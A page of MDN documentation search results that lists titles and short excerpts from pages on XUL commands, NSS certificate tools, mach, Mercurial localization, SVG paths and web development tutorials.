« xul reference home ontextcommand obsolete since gecko 1.9.1 type: script code note: applies to: thunderbird, seamonkeythis event handler is called when a result is selected for the textbox.
DOMMenuItemActive - Archive of obsolete content
the dommenuitemactive event is executed when a <menu> or a <menuitem> has been hovered or highlighted.
DOMMenuItemInactive - Archive of obsolete content
the dommenuiteminactive event is executed when a <menu> or a <menuitem> in no longer hovered or highlighted.
doCommand - Archive of obsolete content
« xul reference home docommand() return type: no return value executes the command event for the element.
command - Archive of obsolete content
« xul reference command type: element id gets and sets the value of the command attribute.
commandManager - Archive of obsolete content
« xul reference commandmanager type: nsicommandmanager the command manager handles operations on the editor.
showCommentColumn - Archive of obsolete content
« xul reference showcommentcolumn type: boolean gets and sets the value of the showcommentcolumn (or showcommentcolumn) attribute.
Newsgroup summaries - Archive of obsolete content
formatmozilla.dev.apps.firefox-2006-09-29mozilla.dev.apps.firefox-2006-10-06mozilla.dev.apps.calendarmozilla.dev.tech.js-enginemozilla-dev-accessibilitymozilla-dev-apps-calendarmozilla-dev-apps-firefoxmozilla-dev-apps-thunderbirdmozilla-dev-buildsmozilla-dev-embeddingmozilla-dev-extensionsmozilla-dev-i18nmozilla-dev-l10nmozilla-dev-planningmozilla-dev-platformmozilla-dev-qualitymozilla-dev-securitymozilla-dev-tech-js-enginemozilla-dev-tech-layoutmozilla-dev-tech-xpcommozilla-dev-tech-xul ...
Community - Archive of obsolete content
if you know of useful mailing lists, newsgroups, forums, or other communities related to xforms, please link to them here.
Community - Archive of obsolete content
if you know of useful mailing lists, newsgroups, forums, or other communities related to web standards, please link to them here.
Making asynchronous programming easier with async and await - Learn web development
previous overview: asynchronous next in this module general asynchronous programming concepts introducing asynchronous javascript cooperative asynchronous javascript: timeouts and intervals graceful asynchronous programming with promises making asynchronous programming easier with async and await choosing the right approach ...
Community
if you know of useful mailing lists, newsgroups, forums, or other communities related to pyxpcom, please link to them here.
nsIClipboardCommands
webshell/public/nsiclipboardcommands.idlscriptable an interface for embedding clients who wish to interact with the system-wide os clipboard.
nsIDOMMozNetworkStats
data nsidommoznetworkstatsdata array stats samples.
nsIDOMMozNetworkStatsData
dom/network/interfaces/nsidomnetworkstats.idlscriptable represents a single record in the network statistics database, as reported using the nsidommoznetworkstatsmanager interface.
nsIDOMMozNetworkStatsManager
if successful, the request result is an nsidommoznetworkstats object describing the network statistics.
DeviceOrientationEvent.gamma - Web APIs
syntax var gamma = orientationevent.gamma; specifications specification status comment deviceorientation event specification editor's draft initial specification.
Element: DOMMouseScroll event - Web APIs
the dom dommousescroll event is fired asynchronously when mouse wheel or similar device is operated and the accumulated scroll amount is over 1 line or 1 page since last event.
Community - Accessibility
this document provides links to mailing lists, newsgroups, forums, and other communities related to accessbility.
Testing media queries programmatically - CSS: Cascading Style Sheets
the dom provides features that can test the results of a media query programmatically, via the mediaquerylist interface and its methods and properties.
Meta programming - JavaScript
handlers and traps the following table summarizes the available traps available to proxy objects.
Index - Archive of obsolete content
found 3833 pages: # page tags and summary 1 archive of obsolete content archive, landing here at mdn, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers.
... 3 2015 mdn fellowship program 2015, archive, fellowship no summary!
... 8 window: userproximity event sensors, events no summary!
...And 1420 more matches
Index - Archive of obsolete content
ArchiveMozillaXULIndex
found 1218 pages: # page tags and summary 1 xul landing, mozilla, xul xul (xml user interface language) is mozilla's xml-based language for building user interfaces of applications like firefox.
... 5 attribute (xul) xul attributes, xul reference no summary!
... 7 accelerated xul, xul attribute, xul reference no summary!
...And 928 more matches
Index
MozillaTechXPCOMIndex
found 1275 pages: # page tags and summary 1 xpcom add-ons, extensions, landing, mozilla, xpcom xpcom is a cross platform component object model, similar to microsoft com.
... 3 aggregating the in-memory datasource rdf no summary!
... 7 fun with xbl and xpconnect xbl, xpcom, xpcom:language bindings, xpconnect no summary!
...And 285 more matches
Index
found 353 pages: # page tags and summary 1 network security services jss, nss, needsmigration network security services (nss) is a set of libraries designed to support cross-platform development of security-enabled client and server applications.
...nss is a library written in the c programming language.
...in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming.
...And 274 more matches
Index - Web APIs
WebAPIIndex
found 5328 pages: # page tags and summary 1 web apis api, dom, landing, reference, web when writing code for the web, there are a large number of web apis available.
... 9 abortcontroller.signal api, abortcontroller, experimental, fetch, property, reference, signal the signal read-only property of the abortcontroller interface returns an abortsignal object instance, which can be used to communicate with/abort a dom request as desired.
... 10 abortsignal api, abortsignal, dom, experimental, interface, reference the abortsignal interface represents a signal object that allows you to communicate with a dom request (such as a fetch) and abort it if required via an abortcontroller object.
...And 264 more matches
Editor Embedding Guide - Archive of obsolete content
the first parameter is the nsidomwindow you just retrieved, the second is the editor type you want to create, and the third is whether you want the window editable immediately or when the document is done loading.
...a textarea; does not allow for html) "textmail" (similar to "text" but html can be inserted; intended for plaintext mail usage and handling of citations) "html" (this is the default type if no type is specified; it allows for all html tags to be inserted) "htmlmail" (this is much like "html" except there are a few editing rules/behaviors that differ such as splitting of mail quotes) editor commands you need to call commands and receive updates in order to make any changes to the content on the browser.
...get the nsicommandmanager from the nsiwebbrowser using do_getinterface: nscomptr<nsicommandmanager> commandmanager; nsiwebbrowser->do_getinterface(getter_addrefs(commandmgr)); 2.
...And 124 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
found 528 pages: # page tags and summary 1 mdn web docs glossary: definitions of web-related terms beginner, definitions, dictionary, glossary, index, landing, terminology web technologies contain long lists of jargon and abbreviations that are used in documentation and coding.
... 5 api codingscripting, glossary, infrastructure an api (application programming interface) is a set of features and rules that exist inside a software program (the application) enabling interaction with it through software - as opposed to a human user interface.
... 9 atag atag, accessibility, authoring tool accessibility guidelines, glossary atag (authoring tool accessibility guidelines) is a w3c recommendation for building accessible-authoring tools that produce accessible contents.
...And 119 more matches
Key Values - Web APIs
corresponding virtual keycodes for common platforms are included where available.
...allows issuing special command inputs.
... this is the windows logo key, or the command or ⌘ key on mac keyboards.
...And 75 more matches
Index - Learn web development
found 348 pages: # page tags and summary 1 learn web development beginner, css, html, index, intro, landing, learn, web welcome to the mdn learning area.
... 3 accessible multimedia accessibility, article, audio, beginner, codingscripting, html, images, javascript, learn, multimedia, video, captions, subtitles, text tracks this chapter has provided a summary of accessibility concerns for multimedia content, along with some practical solutions.
... 8 mobile accessibility accessibility, article, beginner, codingscripting, learn, mobile, responsive, screenreader, touch in this article, we have provided you with some details about common mobile accessibility-specific issues and how to overcome them.
...And 68 more matches
d - SVG: Scalable Vector Graphics
WebSVGAttributed
a path definition is a list of path commands where each command is composed of a command letter and numbers that represent the command parameters.
... the commands are detailed below.
... three elements have this attribute: <path>, <glyph>, and <missing-glyph> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </svg> path for <path>, d is a string containing a series of path commands that define the path to be drawn.
...And 55 more matches
mach
mach (german for to make) is a program via the "command-line interface" to help developers perform installation tasks such as installing firefox from its c++ source code.
...mach was committed on 2012-sep-26.
... if it works, you can look at compiler warnings: $ ./mach warnings-list try running the program: $ ./mach run try running your program in a debugger: $ ./mach run --debug try running some tests: $ ./mach xpcshell-test services/common/tests/unit/ or run an individual test: $ ./mach mochitest browser/base/content/test/general/browser_pinnedtabs.js you run mach from the source directory, so you should be able to use your shell's tab completion to tab-complete paths to tests.
...And 54 more matches
IME handling guide
preedit string), suggests a list of what the user attempts to input, commits composition string as a selected item off the list and commits composition string without any conversion.
...in native code, you can access it with either nsiselectioncontroller or mozilla::selectiontype (the latter is recommended because of type safer).
...then, startcomposition(), setpendingcomposition(), flushpendingcomposition(), commitcomposition(), etc.
...And 53 more matches
Midas
scripting for midas is based on the dhtml commands supported by internet explorer.
... in addition to the built-in commands, advanced editing can be done by manipulating the selection and range objects.
... examples this example shows the basic structure described in the notes section : <html> <head> <title>simple edit box</title> </head> <body> <iframe id="midasform" src="about:blank" onload="this.contentdocument.designmode='on';" ></iframe> </body> </html> methods document.execcommand executes the given command.
...And 40 more matches
NSS tools : certutil
name certutil — manage keys and certificate in both nss databases and other nss tokens synopsis certutil [options] [[arguments]] description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key databases.
... options and arguments running certutil always requires one and only one command option to specify the type of certificate operation.
...the command option -h will list all the command options available and their relevant arguments.
...And 37 more matches
Package management basics - Learn web development
a project dependency can be an entire javascript library or framework — such as react or vue — or a very small utility like our human-readable date library, or it can be a command line tool such as prettier or eslint, which we talked about in previous articles.
... in addition, package managers handle duplicate dependencies (something that becomes important and common in front-end development).
...npm, as well as being a package manager, is also the name of the most commonly-used package registry for javascript packages.
...And 35 more matches
Introduction to the server side - Learn web development
overview: first steps next welcome to the mdn beginner's server-side programming course!
... in this first article, we look at server-side programming from a high level, answering questions such as "what is it?", "how does it differ from client-side programming?", and "why it is so useful?".
... objective: to gain familiarity with what server-side programming is, what it can do, and how it differs from client-side programming.
...And 34 more matches
NSS Tools modutil
using the security module database (modutil) newsgroup: mozilla.dev.tech.crypto the security module database tool is a command-line utility for managing pkcs #11 module information within secmod.db files or within hardware tokens.
... syntax to run the security module database tool, type the command modutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
... each command takes one option.
...And 33 more matches
certutil
synopsis certutil [options] arguments description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key database files.
...run the command option and -h to see the arguments available for each command option.
... -b run a series of commands from the specified batch file.
...And 33 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection.
... although browser detection is perhaps the most common scripting task that every web developer faces, it seems that the variety of different strategies in use for detecting browsers is unlimited.
...for more specific gecko recommendations, please see the gecko compatibility handbook gecko although many web developers are aware of firefox, mozilla, and netscape browsers, far fewer are aware that these browsers are members of an entire family of user agents based upon the gecko layout engine which includes the commercial browser compuserve 7, and open source browsers such as epiphany, galeon, camino, kmeleon, and seamonke...
...And 32 more matches
Introducing a complete toolchain - Learn web development
note: it's also worth repeating that not all of these tools need to be run on the command line.
... as mentioned previously, github is a source code repository service that adds community features such as issue tracking, following project releases and much more.
...it offers a way to "commit" blocks of work as you progress, along with comments such as "x new feature implemented", or "bug z now fixed due to y changes".
...And 30 more matches
Redis Tips
so rather than thinking about redis as a database with some kind of non-existent relationship to sql, think of it as a data structure server with a rich set of commands for querying and manipulating those data structures over a network connection.
... redis data types include: strings hashes lists sets ordered sets (called zsets in redis) transactions publishers and subscribers this table lists some common programming tasks and data structures, and suggests some redis functions or data structures for them: dictionary lookup set, get, setnx, etc.
... there are three reasons to look at the docs for every command you use.
...And 30 more matches
sslfnc.html
ssl initialization functions ssl export policy functions ssl configuration functions ssl communication functions ssl functions used by callbacks ssl handshake functions nss shutdown function deprecated functions ssl initialization functions this section describes the initialization functions that are specific to ssl.
... ssl_enable_ssl3 enables the application to communicate with ssl v3.
... ssl_enable_ssl2 enables the application to communicate with ssl v2.
...And 29 more matches
Venkman Introduction - Archive of obsolete content
the javascript debugger, also called venkman, has been a part of the mozilla browser and the community of web and script developers there for some time.
...features such as breakpoint management, call stack inspection, and variable/object inspection are available from the user interface and from console commands, letting you work in the way you are most accustomed to.
...venkman's keyboard shortcuts are the same as leading visual debugging environments, and gdb users should be familiar with venkman's /break, /step, /next, /finish, /frame, and /where commands.
...And 28 more matches
Server-side web frameworks - Learn web development
previous overview: first steps next the previous article showed you what the communication between web clients and servers looks like, the nature of http requests and responses, and what a server-side web application needs to do in order to respond to requests from a web browser.
...they provide tools and libraries that simplify common web development tasks, including routing urls to appropriate handlers, interacting with databases, supporting sessions and user authorization, formatting output (e.g.
... web frameworks provide tools and libraries to simplify common web development operations.
...And 28 more matches
Deploying our app - Learn web development
we can commit our code and push to github and the updated code will automatically trigger the entire build routine.
... we're going to add the build command to our package.json file as an npm script, so that the command npm run build will trigger the build process.
... this step isn't necessary, but it is a good best practice to get into the habit of setting up — across all our projects, we can then rely on npm run build to always do the complete build step, without needing to remember the specific build command arguments for each project.
...And 28 more matches
Index
found 550 pages: # page tags and summary 1 spidermonkey: the mozilla javascript runtime spidermonkey standalone source code releases can be found on the releases page.
... 6 gc rooting guide spidermonkey no summary!
...the most commonplace operations that are relevant for fast program execution are property accesses and function calls.
...And 27 more matches
CSS3 - Archive of obsolete content
modules and the standardization process css level 2 needed 9 years, from august 2002 to june 2011 to reach the recommendation status.
...while some modules are already w3c recommendations, other still are early working drafts.
... css modules status completed modules a few css modules already became a standard as a w3c recommendation.
...And 26 more matches
NSS tools : signtool
for example, a commercial software developer might sign the files that constitute a software product to prove that the files are indeed from a particular company.
...if the certificate authority's certificate isn't already installed in your copy of communicator, you typically install it by clicking the appropriate link on the certificate authority's web site, for example on the page from which you initiated enrollment for your signing certificate.
...ca certificates for several certificate authorities are preinstalled in the communicator certificate database.
...And 26 more matches
Introduction to automated testing - Learn web development
in this article, we look at what is available, how to use task runners, and how to use the basics of commercial browser test automation apps such as lambdatest, sauce labs, browserstack, and testingbot.
... objective: to provide an understanding of what automated testing entails, how it can make your life easier, and how to make use of some of the commercial products that make things easier.
...commercial cross-browser testing apps like lambdatest, sauce labs, browserstack, and testingbot are based on selenium, but allow you to access their set up remotely using a simple interface, saving you the hassle of setting up your own testing system.
...And 25 more matches
Fundamental text and font styling - Learn web development
in this example we'll apply some different css properties to the same html sample, which looks like this: <h1>tommy the cat</h1> <p>well i remember it as though it were a meal ago...</p> <p>said tommy the cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat.
...truly a wonder of nature this urban predator — tommy the cat had many a story to tell.
... color can accept any css color unit, for example: p { color: red; } this will cause the paragraphs to become red, rather than the standard browser default black, like so: <h1>tommy the cat</h1> <p>well i remember it as though it were a meal ago...</p> <p>said tommy the cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat.
...And 24 more matches
Localizing with Mercurial
for the eager and quick, below you'll find instructions on installing and configuring mercurial, instructions on receiving an hg account commit priviledges, as well as a few tasks you can complete without account priviledges.
... mercurial on linux you can easily install mercurial from the command line by issuing one of the following commands.
... choose the appropriate command for your distribution and make sure to run as root.
...And 24 more matches
Setting up your own test automation environment - Learn web development
we will also look at how to integrate your local testing environment with commercial tools like the ones discussed in the previous article.
... how you install and use webdriver depends on what programming environment you want to use to write and run your tests.
... most popular environments have available a package or framework that will install webdriver and the bindings required to communicate with webdriver using this language, for example, java, c#, ruby, python, javascript (node), etc.
...And 23 more matches
Paths - SVG: Scalable Vector Graphics
WebSVGTutorialPaths
while creating complex paths using an xml editor or text editor is not recommended, understanding how they work will allow to identify and repair display issues in svgs.
...(see more in basic shapes.) the d attribute contains a series of commands and parameters used by those commands.
... each of the commands is instantiated (for example, creating a class, naming and locating it) by a specific letter.
...And 23 more matches
Message manager overview
message managers are designed to enable chrome-privileged javascript code in one process to communicate with chrome-privileged javascript code in a different process.
... process message managers: these correspond to process boundaries, and enable code running in the parent (chrome) process to communicate with code running in the child (content) process.
... frame message managers in multiprocess firefox, when chrome code needs to interact with web content, it needs to: factor the code that needs direct access to content into separate scripts, which are called "frame scripts" use a frame message manager to load these frame scripts into the content process use the frame message manager api to communicate with the frame script some older articles on multiprocess firefox and the message manager might refer to "content scripts" instead of "frame scripts".
...And 22 more matches
Localizing with Koala
due to a bug in koala (bug 21930), it is recommended that you don't choose a path that contains spaces (like c:\documents and settings\user\...).
...the easy way involves opening the console and issuing the following commands: c:\users\stas> cd c:\mozilla\l10n\application\firefox c:\mozilla\l10n\application\firefox> rmdir 3.6 c:\mozilla\l10n\application\firefox> hg clone http://hg.mozilla.org/releases/mozilla-1.9.2 3.6 requesting all changes adding changesets adding manifests adding file changes added 33099 changesets with 158636 changes to 50664 files (+9 heads) updating working directory 40357 files updated, 0 f...
...iles merged, 0 files removed, 0 files unresolved configure the locale locale id: x-testing (put your locale's code) version: 3.6 location: choose the folder where you want to keep the localized files or leave empty for now check "mercurial" if you wish to use mercurial to keep the revision history of your files (very recommended) existing localizations: url: if you're editing an existing localization or you already have a repository set up (either on hg.mozilla.org or bitbucket), type the url of the remote repository, e.g.
...And 22 more matches
Install script template - Archive of obsolete content
es to current browser block var pluginsfolder = getfolder("plugins"); //verify disk space if(verifydiskspace(pluginsfolder, plugin_size+component_size)) { // start installing plugin shared library reseterror(); // install the plugin shared library to the current browser's plugin directory errblock1 = addfile (plid, version, plugin_file, pluginsfolder, null); if (errblock1!=0) { logcomment("could not add " + plugin_file + " to " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } // start installing xpt file if this is a scriptable plugin // install to the plugins directory -- this works well in mozilla 1.0 clients // in mozilla 1.0 clients, the components directory can be avoided for xpt files errblock1 = addfile (plid, version, component_file, pluginsfold...
...er, null); if (errblock1!=0) { logcomment("could not add " + component_file + " to " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } } else { logcomment("cancelling current browser install due to lack of space..."); cancellinstall(); } // secondary install block, which sets up plugins and xpt in another location in addition to the current browser errblock2 = createsecondaryinstall(); // performinstall block, in which error conditions from previous blocks are checked.
... // this block also invokes a function to write registry keys (plid) and checks return from key writing // this block invokes refreshplugins() to ensure that plugin and xpt are available for use immediately if (errblock1 == success) { // installation to the current browser was a success - this is the most important job of this script!
...And 21 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
rhino is a java implementation of javascript which is commonly embedded in java applications to expose scripting capability.
... id: 1 first_name: sammy last_name: hamm department: it title: network administrator ---------- id: 2 first_name: nigel last_name: bitters department: finance title: accounting manager ...
...the common values for this attribute are explained below, though there are more than just these.
...And 21 more matches
An overview of NSS Internals
nss is a library written in the c programming language.
...in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming.
...this is often sufficient if you encrypt data for yourself, but as soon as you need to exchange signed/encrypted data with communication partners, using public key encryption simplifies the key management.
...And 21 more matches
cfx - Archive of obsolete content
cfx usage is: cfx [options] command [command-specific options] "options" are global options applicable to the tool itself or to all commands (for example --help).
... cfx supports the following global options: -h, --help - show a help message and exit -v, --verbose - enable lots of output "command-specific options" are documented alongside the commands.
... there are four supported cfx commands: cfx init create a skeleton add-on as a starting point for your own add-on.
...And 20 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
and was originally published in japanese for the firefox developers conference summer 2007.
... common attributes before we look at the various interface objects, let's look at some of their common attributes, especially the frequently used ones.
...as shown in table 1, there are four types of buttons that can be displayed, and you can set the names of the buttons you want to display as a comma-delimited list in the value of the buttons attribute.
...And 20 more matches
Setting Up a Development Environment - Archive of obsolete content
we recommend komodo edit.
...that is more than what you can get with most other editors, so we recommend you to give it a try.
... we recommend git and github for source control, but any decent software configuration management system will do.
...And 20 more matches
Menus - Archive of obsolete content
menus a menu provides a list of commands that the user can carry out.
...when the menu or button is clicked the menu is opened, listing the commands that are available.
... the user may select a command to invoke it, or may cancel the operation by pressing escape or clicking outside the menu.
...And 20 more matches
Introduction to SSL - Archive of obsolete content
ssl has been universally accepted on the world wide web for authenticated and encrypted communication between clients and servers.
...the details of the protocol are available in request for comments (rfc): 2246,the tls protocol version 1.0.
...the document assumes that you are familiar with the basic concepts of public-key cryptography, as summarized in "introduction to public-key cryptography." the ssl protocol the transmission control protocol/internet protocol (tcp/ip) governs the transport and routing of data over the internet.
...And 20 more matches
Hacking Tips
to work-around this issue you can use the recording feature of gdb, to step one instruction, and settle back to where you came from with the following set of gdb commands: (gdb) record full (gdb) si (gdb) record goto 0 (gdb) record stop if you have a core file, you can use the gdb unwinder the same way, or do everything from the command line as follow: $ gdb -ex 'enable unwinder .* spidermonkey' -ex 'bt 0' -ex 'thread apply all backtrace' -ex 'quit' out/dist/bin/js corefile the gdb unwinder is supposed to be loaded by dist/bin/js-gdb.py and load python s...
...if gdb does not load the unwinder by default, you can force it to, by using the source command with the js-gdb.py file.
...once the breakpoint is on codegenerator function of the lir instruction, add a command to generate a static breakpoint in the generated code.
...And 20 more matches
nsIDOMNSHTMLDocument
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void captureevents(in long eventflags); void clear(); boolean execcommand(in domstring commandid, in boolean doshowui, in domstring value); boolean execcommandshowhelp(in domstring commandid); obsolete since gecko 14.0 domstring getselection(); nsidomdocument open(in acstring acontenttype, in boolean areplace); boolean querycommandenabled(in domstring commandid); boolean querycommandindeterm(in domstring commandid); ...
... boolean querycommandstate(in domstring commandid); boolean querycommandsupported(in domstring commandid); domstring querycommandtext(in domstring commandid); obsolete since gecko 14.0 domstring querycommandvalue(in domstring commandid); void releaseevents(in long eventflags); void routeevent(in nsidomevent evt); void write(); obsolete since gecko 2.0 void writeln(); obsolete since gecko 2.0 attributes attribute type description alinkcolor domstring same as body.alink bgcolor domstring same as body.bgcolor compatmode domstring returns "backcompat" if the document is in quirks mode or "css1compat" if the document is in full standards or almost standards mode.
...execcommand() boolean execcommand( in domstring commandid, in boolean doshowui, in domstring value ); parameters commandid the name of the command to execute.
...And 20 more matches
Index
found 118 pages: # page tags and summary 1 thunderbird thunderbird thunderbird is a mail/messaging application managed and developed by the thunderbird community.
...see an overview of thunderbird components for a general description of the thunderbird user interface and related programmatic interfaces.
... 6 activity manager interfaces thunderbird this page describes the programmatic interfaces behind the activity manager component.
...And 20 more matches
<menuitem> - HTML: Hypertext Markup Language
WebHTMLElementmenuitem
the html <menuitem> element represents a command that a user is able to invoke through a popup menu.
... a command can either be defined explicitly, with a textual label and optional icon to describe its appearance, or alternatively as an indirect command whose behavior is defined by a separate element.
... commands can also optionally include a checkbox or be grouped to share radio buttons.
...And 20 more matches
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
found 237 pages: # page tags and summary 1 html: hypertext markup language html, html5, landing, web, l10n:priority html (hypertext markup language) is the most basic building block of the web.
... 7 global attributes attribute, html, reference, web global attributes are attributes common to all html elements; they can be used on all elements, though they may have no effect on some elements.
...note that it is recommended for styles to be defined in a separate file or files.
...And 20 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
rather than multiple if() else() blocks, you increase efficiency by taking common tasks and abstracting them out into their own functions.
... the dom level 1 methods, as shown in table 1, are commonly used to move an element to a certain position and toggle its visibility (menus, animations).
... nextsibling returns the node immediately following the current one.
...And 19 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
utocompletesearchparam, autofill, autofillaftermatch, autofill, completedefaultindex, crop, disableautocomplete, disableautocomplete, disabled, disablehistory, enablehistory, focused, forcecomplete, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, minresultsforpopup, nomatch, onchange, onerrorcommand, oninput, onsearchcomplete, ontextcommand, ontextentered, ontextrevert, ontextreverted, open, readonly, searchsessions, showcommentcolumn, showcommentcolumn, showpopup, size, tabindex, tabscrolling, tabscrolling, timeout, type, useraction, value properties accessible, alwaysopenpopup, autofill, autofillaftermatch, completedefaultindex, crop, disableautocomplete, disabled, edita...
...ble, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, issearching, iswaiting, label, maxlength, maxrows, minresultsforpopup, nomatch, open, popup, popupopen, resultspopup, searchcount, searchparam, searchsessions, selectionend, selectionstart, sessioncount, showcommentcolumn, showpopup, size, tabindex, tabscrolling, textlength, textvalue, timeout, type, useraction, value methods addsession, clearresults, getdefaultsession, getresultat, getresultcount, getresultvalueat, getsession, getsessionbyname, getsessionresultat, getsessionstatusat, getsessionvalueat, removesession, select, setselectionrange, syncsessions examples (example needed) attributes accesskey type: character this should be set to a character that is used as a shortcut...
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 19 more matches
What is JavaScript? - Learn web development
a high-level definition javascript is a scripting or programming language that allows you to implement complex features on web pages — every time a web page does more than just sit there and display static information for you to look at — displaying timely content updates, interactive maps, animated 2d/3d graphics, scrolling video jukeboxes, etc.
... the core client-side javascript language consists of some common programming features that allow you to do things like: store useful values inside variables.
... operations on pieces of text (known as "strings" in programming).
...And 19 more matches
Introduction to client-side frameworks - Learn web development
users write papers, manage their budgets, stream music, watch movies, and communicate with others over great distances instantaneously, with text, audio or video chat.
...it is an older framework that has less users than more modern alternatives such as react and vue, but it still enjoys a fair amount of popularity due to its stability, community support, and some clever coding principles.
... start learning ember angular angular is an open-source web application framework led by the angular team at google and by a community of individuals and corporations.
...And 19 more matches
Localization content best practices
this document provides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) common mistakes.
... it's important to consider this when adding strings, and especially localization comments for strings that contain references, or obscure technical details.
... add localization notes localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add comments to the localizable files themselves, too.
...And 19 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
er "-----begin certificate for signature verification-----" #define ns_cert_vfy_trailer "-----end certificate for signature verification-----" #define ns_sig_header "-----begin signature-----" #define ns_sig_trailer "-----end signature-----" #define ns_cert_header "-----begin certificate-----" #define ns_cert_trailer "-----end certificate-----" /* sample 6 commands */ typedef enum { generate_csr, add_cert_to_db, save_cert_to_header, encrypt, decrypt, sign, verify, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6, certenc= 7, certvfy= 8, sig = 9 } headertype; /* * print usage message and exit ...
...r> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", "-n <nickname> -b <headerfilename> | ", "-b <headerfilename> -i <ipfilename> -e <encryptfilename> | ", "-b <headerfilename> -i <ipfilename> | ", "-b <headerfilename> -i <ipfilename> | ", "-b <headerfilename> -e <encryptfilename> -o <opfilename> \n"); fprintf(stderr, "commands:\n\n"); fprintf(stderr, "%s %s\n --for generating cert request (for ca also)\n\n", progname, "-g -s <subject> -r <csr>"); fprintf(stderr, "%s %s\n --to input and store cert (for ca also)\n\n", progname, "-a -n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in he...
... "-r <csr>"); fprintf(stderr, "%-30s - generate a self-signed cert [optional]\n\n", "-x"); fprintf(stderr, "%-30s - to enable ascii [optional]\n\n", "-a"); fprintf(stderr, "%-30s - to save certificate to header file as sig verification [optional]\n\n", "-v"); exit(-1); } /* * validate the options used for generate csr command */ static void validategeneratecsrcommand(const char *progname, const char *dbdir, certname *subject, const char *subjectstr, const char *certreqfilename) { prbool validationfailed = pr_false; if (!subject) { pr_fprintf(pr_stderr, "%s -g -d %s -s: improperly...
...And 19 more matches
nsIMsgDBView
iewsortordervalue sortorder, in nsmsgviewflagstypevalue viewflags, out long count); void openwithhdrs(in nsisimpleenumerator aheaders, in nsmsgviewsorttypevalue asorttype, in nsmsgviewsortordervalue asortorder, in nsmsgviewflagstypevalue aviewflags, out long acount); void close(); void init(in nsimessenger amessengerinstance, in nsimsgwindow amsgwindow, in nsimsgdbviewcommandupdater acommandupdater); void sort(in nsmsgviewsorttypevalue sorttype, in nsmsgviewsortordervalue sortorder); void docommand(in nsmsgviewcommandtypevalue command); void docommandwithfolder(in nsmsgviewcommandtypevalue command, in nsimsgfolder destfolder); void getcommandstatus(in nsmsgviewcommandtypevalue command, out boolean selectable_p, out nsmsgviewcomma...
...us(in nsmsgnavigationtypevalue motion); nsmsgkey getkeyat(in nsmsgviewindex index); nsimsgdbhdr getmsghdrat(in nsmsgviewindex index); nsimsgfolder getfolderforviewindex(in nsmsgviewindex index); acstring geturiforviewindex(in nsmsgviewindex index); nsimsgdbview clonedbview(in nsimessenger amessengerinstance, in nsimsgwindow amsgwindow, in nsimsgdbviewcommandupdater acommandupdater); void geturisforselection([array, size_is(count)] out string uris, out unsigned long count); void getindicesforselection([array, size_is(count)] out nsmsgviewindex indices, out unsigned long count); void loadmessagebymsgkey(in nsmsgkey amsgkey); void loadmessagebyviewindex(in nsmsgviewindex aindex); void loadmessagebyurl(in s...
... suppresscommandupdating boolean suppress command updating.
...And 19 more matches
Web video codec guide - Web media technologies
this guide introduces the video codecs you're most likely to encounter or consider using on the web, summaries of their capabilities and any compatibility and utility concerns, and advice to help you choose the right codec for your project's video.
... common codecs the following video codecs are those which are most commonly used on the web.
...there are many forms of aliasing; the most common ones you may see include: moiré patterns a unknown prefix: moiré pattern.
...And 19 more matches
JXON - Archive of obsolete content
all other information (like processing instructions, schemas, comments, etc.) will be lost.
...uncomment the optional properties first!
...try: alert(json.stringify(myobject)); note: if you want to freeze the whole object tree (because of the "static" nature of an xml document), uncomment the string: /* object.freeze(this); */.
...And 18 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
this centralized preference file can lock preferences (lockpref) or initialize them (defaultpref) based on environment variables (user, home...) and/or ldap queries (fetch email address, common name , language, homepage etc...) from the enterprise directory.
...me"); var env_home = getenv("homepath"); } var env_mozdebug= getenv("mozilla_debug"); // 2) define here (because if set after "3)" below it doesn't work !) processldapvalues which is eventually called by getldapattributes() just below, // check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues /* commented all this section about ldap calls, not supported in ff5 packages :-( function processldapvalues (values) { if(values) { // set the global var with the values returned from the ldap query ldap_values = values; var uid = getldapvalue ( values ,"uid" ); var cn = getldapvalue ( values ,"cn" ); var mail = getldapvalue ( values ,"mail" ); var url = getldapv...
